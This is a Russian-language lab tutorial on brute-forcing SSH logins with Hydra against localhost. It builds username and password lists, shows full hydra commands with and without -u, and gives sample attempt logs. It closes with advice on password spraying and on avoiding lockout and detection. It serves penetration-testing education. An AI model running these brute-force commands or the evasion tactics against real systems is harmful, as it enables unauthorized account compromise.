Введение
В этом лабораторном практикуме вы узнаете, как Hydra перебирает имена пользователей и пароли во время атаки SSH. Вы создадите списки имен пользователей и паролей, а затем запустите стандартную атаку SSH, чтобы наблюдать за стандартным поведением Hydra.
Сначала вы подготовите файлы usernames.txt и passwords.txt, содержащие списки имен пользователей и паролей соответственно. Затем вы выполните базовую атаку Hydra SSH, используя эти списки, чтобы продемонстрировать, как Hydra пытается комбинировать различные значения. Наконец, вы изучите влияние опции -u на порядок, в котором Hydra пытается комбинировать имена пользователей и пароли.
Подготовка списков имен пользователей и паролей
На этом шаге вы создадите два необходимых файла: список имен пользователей и список паролей. Эти списки будут использоваться Hydra для попыток входа в SSH. Создание этих списков позволяет систематически проверять различные комбинации имен пользователей и паролей на вашем целевом сервере.
Сначала откройте терминал. Вы находитесь в каталоге /home/labex/project (также доступном как ~/project). Вы создадите файлы в этом каталоге.
Используйте текстовый редактор nano, чтобы создать файл с именем usernames.txt:
nano ~/project/usernames.txt
Теперь добавьте в файл следующие имена пользователей. Это примеры; вы можете настроить их по своему усмотрению.
root
admin
test
user
ubuntu
После добавления содержимого сохраните файл, нажав Ctrl + O, затем нажмите Enter, чтобы подтвердить имя файла, и, наконец, нажмите Ctrl + X, чтобы выйти из nano.
Далее вы создадите список паролей. Снова используйте nano, чтобы создать файл с именем passwords.txt:
nano ~/project/passwords.txt
Добавьте в файл следующие пароли. Помните, что это всего лишь примеры.
password
123456
qwerty
secret
ubuntu
Сохраните файл, нажав Ctrl + O, затем нажмите Enter, чтобы подтвердить имя файла, и, наконец, нажмите Ctrl + X, чтобы выйти из nano.
Чтобы проверить, что файлы были созданы правильно, вы можете использовать команду cat, чтобы отобразить их содержимое.
Отобразите содержимое usernames.txt:
cat ~/project/usernames.txt
Вы должны увидеть вывод, похожий на этот:
root
admin
test
user
ubuntu
Аналогично, отобразите содержимое passwords.txt:
cat ~/project/passwords.txt
Вы должны увидеть вывод, похожий на этот:
password
123456
qwerty
secret
ubuntu
Эти файлы, usernames.txt и passwords.txt, теперь готовы к использованию с Hydra на последующих шагах.
Запуск стандартной атаки SSH
На этом шаге вы выполните базовую атаку SSH с помощью Hydra, используя списки имен пользователей и паролей, созданные на предыдущем шаге. Это продемонстрирует стандартное поведение Hydra, которое заключается в переборе имен пользователей и паролей.
Базовый синтаксис команды Hydra:
hydra [options] <target> <service> [additional options]
hydra: Команда для запуска инструмента Hydra.[options]: Различные параметры для настройки атаки, такие как указание списков имен пользователей и паролей.<target>: IP-адрес или имя хоста целевого SSH-сервера. В этой лабораторной работе вы будете использовать127.0.0.1(локальный хост) в качестве цели.<service>: Сервис для атаки (например,ssh,ftp,http). В данном случае этоssh.[additional options]: Параметры, специфичные для сервиса.
Теперь запустите стандартную атаку SSH. Вы будете использовать опцию -L для указания списка имен пользователей, опцию -P для указания списка паролей и опцию -V для отображения подробного вывода, показывающего каждую попытку.
hydra -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh
Эта команда инструктирует Hydra:
-V: Включить режим подробного вывода, чтобы показать каждую попытку входа.-L ~/project/usernames.txt: Использовать файлusernames.txtв каталоге~/projectв качестве списка имен пользователей.-P ~/project/passwords.txt: Использовать файлpasswords.txtв каталоге~/projectв качестве списка паролей.127.0.0.1: Цель — SSH-сервис, работающий на локальном хосте.ssh: Указать, что вы атакуете SSH-сервис.
Выполните команду в своем терминале. Hydra теперь будет пытаться войти в SSH-сервис на 127.0.0.1, используя каждое имя пользователя из usernames.txt и каждый пароль из passwords.txt. По умолчанию Hydra сначала перебирает имена пользователей, пробуя каждый пароль для одного имени пользователя, прежде чем перейти к следующему имени пользователя.
Вывод будет показывать выполняемые попытки. Вы увидите подробную информацию о каждой попытке входа. Поскольку вы используете слабые пароли и нацеливаетесь на локальный хост, возможно, вход будет успешным, но большинство попыток завершатся неудачей.
Вывод будет похож на этот (точный вывод может отличаться):
Hydra vX.X (c) XXXX by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "qwerty" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "secret" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "ubuntu" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
...
Обратите внимание, как Hydra сначала пробует все пароли для пользователя "root", затем переходит к "admin" и так далее. Это стандартное поведение.
Запуск с параметром -u для циклического перебора паролей
На этом шаге вы будете использовать опцию -u с Hydra, чтобы изменить порядок, в котором выполняются попытки входа. По умолчанию Hydra сначала перебирает имена пользователей, пробуя все пароли для каждого имени пользователя, прежде чем перейти к следующему. Опция -u меняет это поведение, заставляя Hydra сначала перебирать пароли, пробуя каждый пароль для всех имен пользователей, прежде чем перейти к следующему паролю.
Это может быть полезно в ситуациях, когда вы подозреваете, что один и тот же пароль используется для нескольких учетных записей.
Чтобы использовать опцию -u, просто добавьте её к предыдущей команде Hydra. Вы также будете использовать опцию -V снова, чтобы увидеть подробные попытки.
hydra -u -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh
Эта команда инструктирует Hydra:
-u: Цикл по паролям в первую очередь.-V: Включить режим подробного вывода, чтобы показать каждую попытку входа.-L ~/project/usernames.txt: Использовать файлusernames.txtв каталоге~/projectв качестве списка имен пользователей.-P ~/project/passwords.txt: Использовать файлpasswords.txtв каталоге~/projectв качестве списка паролей.127.0.0.1: Цель — SSH-сервис, работающий на локальном хосте.ssh: Указать, что вы атакуете SSH-сервис.
Выполните команду в своем терминале. Hydra теперь будет пытаться войти в SSH-сервис на 127.0.0.1. На этот раз он будет пробовать первый пароль из passwords.txt со всеми именами пользователей из usernames.txt, прежде чем перейти к следующему паролю.
Обратите внимание на вывод. Вы должны заметить, что порядок попыток отличается от предыдущего шага. Теперь Hydra будет пробовать один и тот же пароль для нескольких имен пользователей последовательно.
Вывод будет похож на этот (точный вывод может отличаться):
Hydra vX.X (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "ubuntu" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - X of X [child X] (X/X)
...
Обратите внимание, как Hydra теперь сначала пробует "password" для всех имен пользователей, затем переходит к "123456" для всех имен пользователей и так далее. Это поведение при использовании опции -u.
Сравнивая вывод этой команды с выводом команды на предыдущем шаге, вы можете четко увидеть разницу в порядке попыток входа. Это может быть полезно для понимания работы Hydra и выбора наиболее эффективной стратегии атаки в данной ситуации.
Анализ шаблонов атак и производительности
На этом шаге вы проанализируете практические различия между двумя методами атаки и поймете, когда каждый подход может быть более эффективным. Вы также изучите, как оптимизировать атаки с помощью Hydra в зависимости от различных сценариев.
Понимание стратегических различий
Выбор между стандартным режимом и режимом -u может существенно повлиять на эффективность атаки:
- Стандартный режим (сначала имя пользователя): Лучше, если вы подозреваете, что у определенных пользователей могут быть слабые пароли.
- Режим с приоритетом пароля (
-u): Лучше, если вы подозреваете, что один и тот же пароль используется для нескольких учетных записей.
Давайте продемонстрируем это с помощью более целенаправленного подхода. Сначала создадим более узкий, ориентированный на тестирование, чтобы четко увидеть разницу:
echo -e "admin\ntest" > ~/project/small_users.txt
echo -e "password\n123456" > ~/project/small_passwords.txt
Теперь запустите обе атаки с ограниченным выводом, чтобы четко увидеть шаблон:
Стандартная атака (сначала имя пользователя):
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh
Опция -t 1 ограничивает Hydra использованием только одной задачи за раз, что делает последовательность легче отслеживать.
Атака с приоритетом пароля:
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh
Анализ производительности
Теперь давайте проанализируем время и эффективность. Создайте простой тест на время:
echo "Testing default mode timing..."
time hydra -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
echo "Testing -u mode timing..."
time hydra -u -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
Сценарии реального применения
Понимание, когда использовать каждый режим:
Используйте стандартный режим, когда:
- У вас есть информация о конкретных учетных записях высокой ценности.
- Вы хотите быстро проверить, имеют ли учетные записи администраторов слабые пароли.
- Вы нацеливаетесь на небольшое количество привилегированных пользователей.
Используйте режим
-u, когда:- Вы подозреваете повторное использование паролей для нескольких учетных записей.
- У вас есть список общих паролей из предыдущих утечек.
- Вы хотите найти любую учетную запись с общим слабым паролем.
Проверка шаблонов атак
Чтобы четко увидеть разницу в шаблонах атак, давайте создадим простую демонстрацию:
echo "=== Шаблон стандартного режима ==="
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
echo "=== Шаблон режима с приоритетом пароля ==="
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
Это четко покажет вам:
- Стандартный режим: admin/password, admin/123456, test/password, test/123456
- Режим с приоритетом пароля: admin/password, test/password, admin/123456, test/123456
Разница становится критической при работе с политиками блокировки учетных записей или при попытке избежать обнаружения, распределяя попытки между несколькими учетными записями.
Резюме
В этом лабораторном практикуме вы изучили, как подготовить необходимые файлы для атаки Hydra на SSH, создав списки имен пользователей и паролей в каталоге ~/project. Вы выполнили атаки SSH с помощью Hydra с подробным выводом, чтобы наблюдать за деталями попыток атаки и понять поведение итераций Hydra.
Вы изучили ключевую разницу между стандартным режимом Hydra (итерация по именам пользователей в первую очередь) и опцией -u (итерация по паролям в первую очередь). Практическое применение показало:
- Стандартный режим: Пробует все пароли для каждого имени пользователя, прежде чем перейти к следующему имени пользователя — идеально подходит для атаки на конкретные учетные записи высокой ценности.
- Режим с приоритетом пароля (
-u): Пробует каждый пароль со всеми именами пользователей, прежде чем перейти к следующему паролю — лучше подходит для поиска учетных записей с общими слабыми паролями.
Вы также изучили практические соображения по выбору между этими режимами, включая последствия для производительности и реальные сценарии, в которых каждый подход наиболее эффективен. Это понимание позволяет оптимизировать ваши стратегии пентеста в зависимости от конкретной целевой среды и целей.
Лабораторный практикум продемонстрировал, как различные шаблоны атак могут быть решающими при работе с политиками блокировки учетных записей или при попытке избежать обнаружения, распределяя попытки входа по нескольким учетным записям.


